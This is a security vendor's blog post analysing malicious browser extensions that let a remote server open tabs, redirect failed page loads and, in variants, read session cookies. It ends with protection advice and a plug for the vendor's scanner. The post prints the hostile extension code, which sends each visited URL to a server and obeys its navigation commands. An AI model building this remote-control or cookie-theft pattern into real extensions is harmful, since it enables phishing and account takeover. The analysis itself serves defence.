Back to articles

The extension that opens whatever tab its server tells it to

A malicious browser extension can let a remote server open any tab — an ad, a redirect, a fake login. How it works, and how to check and remove them fast.

Maxim Kosterin
7 min read
A row of hairline outlines on paper white; the last one is flooded with orange watercolor that bleeds downward, pulled by a single thin line running off the right edge of the frame.
A row of hairline outlines on paper white; the last one is flooded with orange watercolor that bleeds downward, pulled by a single thin line running off the right edge of the frame.

I spent a few days this week detonating browser extensions in a sandbox — a throwaway Chrome in a locked-down container, with every byte of network traffic decrypted and logged. I do this to see what extensions actually do, not what their store listing claims. Most are boring. One was not.

It was a "coupons and deals" extension. Millions of users. Looked completely normal. I'm not going to name it, because the point of this post isn't one add-on — it's a whole class of malicious browser extensions, and the trick they share is genuinely nasty once you see it.

What it looked like at first (spoiler: innocent)

I loaded it, visited a few shopping sites, and watched the traffic. On every page I opened, the extension sent one little request to its own server. The body was basically: a random ID that stays the same for your whole install, plus the full URL of the page you were on.

The server answered: {"status":"success"}. Twenty-one bytes. Nothing happened.

If you were doing a quick check, you'd shrug and move on. It phones home with the page URL — mildly annoying, not scary. That's exactly the problem. The dangerous part never fires during a casual look, because it's the server that decides when to pull the trigger.

The actual mechanism

Here's the shape of the code, cleaned up and renamed:

// content script — runs on EVERY site you visit
chrome.runtime.sendMessage({ name: location.href });
 
// background worker
chrome.runtime.onMessage.addListener(async (msg) => {
  const reply = await fetch("https://api.some-deals-server.com/check", {
    method: "POST",
    body: JSON.stringify({ url: msg.name }),
  }).then((r) => r.json());
 
  if (reply.notice) chrome.tabs.create(reply.notice);   // open a tab the server chose
  if (reply.alert)  chrome.windows.create(reply.alert);  // open a popup window the server chose
});

Read that last bit again. Whatever the server sends back, the extension does. chrome.tabs.create(reply.notice) means: open a browser tab, and let the server pick the destination. Not a hardcoded page. Not the extension's own settings. Whatever URL the server puts in that field, right now, for you specifically.

Normal extensions call chrome.tabs.create({ url: "help.html" }) — a fixed, known address. Handing the whole thing to a remote server is the tell. That's a remote control channel wired straight into your browser's address bar.

There was a second trick in the same file. It watched every page load through the webRequest API, and if a page errored — a 404, a server hiccup, a mistyped domain — it grabbed the tab and redirected it to its own "offers" page:

chrome.webRequest.onErrorOccurred.addListener((e) => {
  chrome.tabs.update(e.tabId, { url: "https://some-deals-server.com/offers?from=" + e.url });
});

So the moment a site fails to load, you don't see the browser's error page. You get sent somewhere that makes the operator money. You never asked for any of it.

I made the server say "go"

The live server was quiet the whole time I watched — it kept replying "success," no command. So I did the obvious experiment: in my sandbox, I replaced the server's answer with a command of my own and pointed it at a fake login page I built (clearly labeled, fake, sandbox-only).

The extension opened it instantly. No click, no prompt. A "coupon" add-on popped a login form on command. I typed fake credentials into it, and — because a phishing page just POSTs whatever you type — those credentials landed in my capture log.

That's the whole kill chain: a boring deals extension, a server that flips a switch, and suddenly your browser is showing you a login page you didn't ask for. Point that command at a convincing copy of a social network or bank login and you have credential phishing delivered by software the user installed on purpose and trusts.

And it gets worse depending on permissions. This particular extension only sent URLs. But a cousin of it — same "server tells the extension what to do" design, plus the cookies permission — can read your session cookies, including the HttpOnly ones that page JavaScript can never touch. Those cookies are your logged-in session.

Handing them to a server is account access without a password and without triggering 2FA. I tested that too, against a fake bank page: document.cookie saw only junk preferences, but the extension's chrome.cookies call pulled the real session token right out.

Why a single check can't catch this

This is the uncomfortable takeaway. The malicious behavior is server-gated. On the day you install it, on the day a reviewer looks at it, on the day an automated crawler pings it — the server can answer "nothing" and the extension behaves.

Then next week, for a slice of users, in a certain country, it wakes up. Nothing about the installed code changed. No update, no new permission prompt. The switch is on someone else's machine.

So "I checked it once and it was fine" is not a defense against this design. The design is the red flag.

How to protect yourself from a malicious browser extension

  1. Be suspicious of extensions that open tabs or windows you didn't ask for. A single unexpected tab is worth an uninstall.
  2. Look at what an extension can reach, not just its category. A coupon tool that wants access to all sites plus webRequest has far more power than its job needs. Broad host access + network interception is the combination that makes this attack possible.
  3. Watch the cookies and webRequest permissions specifically. Those are the ones that turn "annoying" into "account takeover" and "silent redirect."
  4. Prune ruthlessly. If you haven't used an extension in a month, remove it. Every installed extension is a standing invitation, and a clean one today can turn in an update.
  5. Don't trust the star rating. The extension I looked at had millions of users and looked polished. Popularity is not safety.

How Extenshi helps

This is exactly the kind of thing our scanner exists to catch. After this analysis I taught it to recognize the pattern directly: an extension that pipes a network response into a navigation call, or redirects your tab off the back of a webRequest event, now gets flagged at our highest severity — Critical — because it's confirmed dangerous behavior, not a scary-sounding permission. Every extension we index across the Chrome, Firefox, and Edge stores runs through it, so you can see the risk on the listing before you ever click Add.

But a store listing only helps for extensions you haven't installed yet. The scarier question is the pile you already have — the ones that looked fine months ago and could have flipped in a silent update. So I built a small command-line tool for exactly that: @extenshi/guard. It reads the extensions installed in your browsers (Chrome, Edge, Brave, Firefox, and the rest), runs each one through the same scanner, and tells you which are dangerous — then removes or disables them for you, with an undo, once you confirm. You don't even need an account to see what's installed; the scan itself uses a free extenshi.io check.

One command, and you know where you stand:

npx @extenshi/guard scan

It lists what you've got, flags the Critical ones (the "remove this now" tier — server-controlled navigation lands right here), the High ones (disable), and walks you through cleaning them up. A couple of minutes to find and kill the risky ones sitting in your browser right now.

Scan and clean your installed extensions → npx @extenshi/guard · browsing for a new one? Check it first at catalog.extenshi.io


This article is based on hands-on analysis in a controlled sandbox using fabricated test data; no real user accounts or credentials were involved. It describes a general class of extension behavior and does not name or accuse any specific extension or company. If you believe anything here is inaccurate, contact [email protected] and we'll review and update.

Related Articles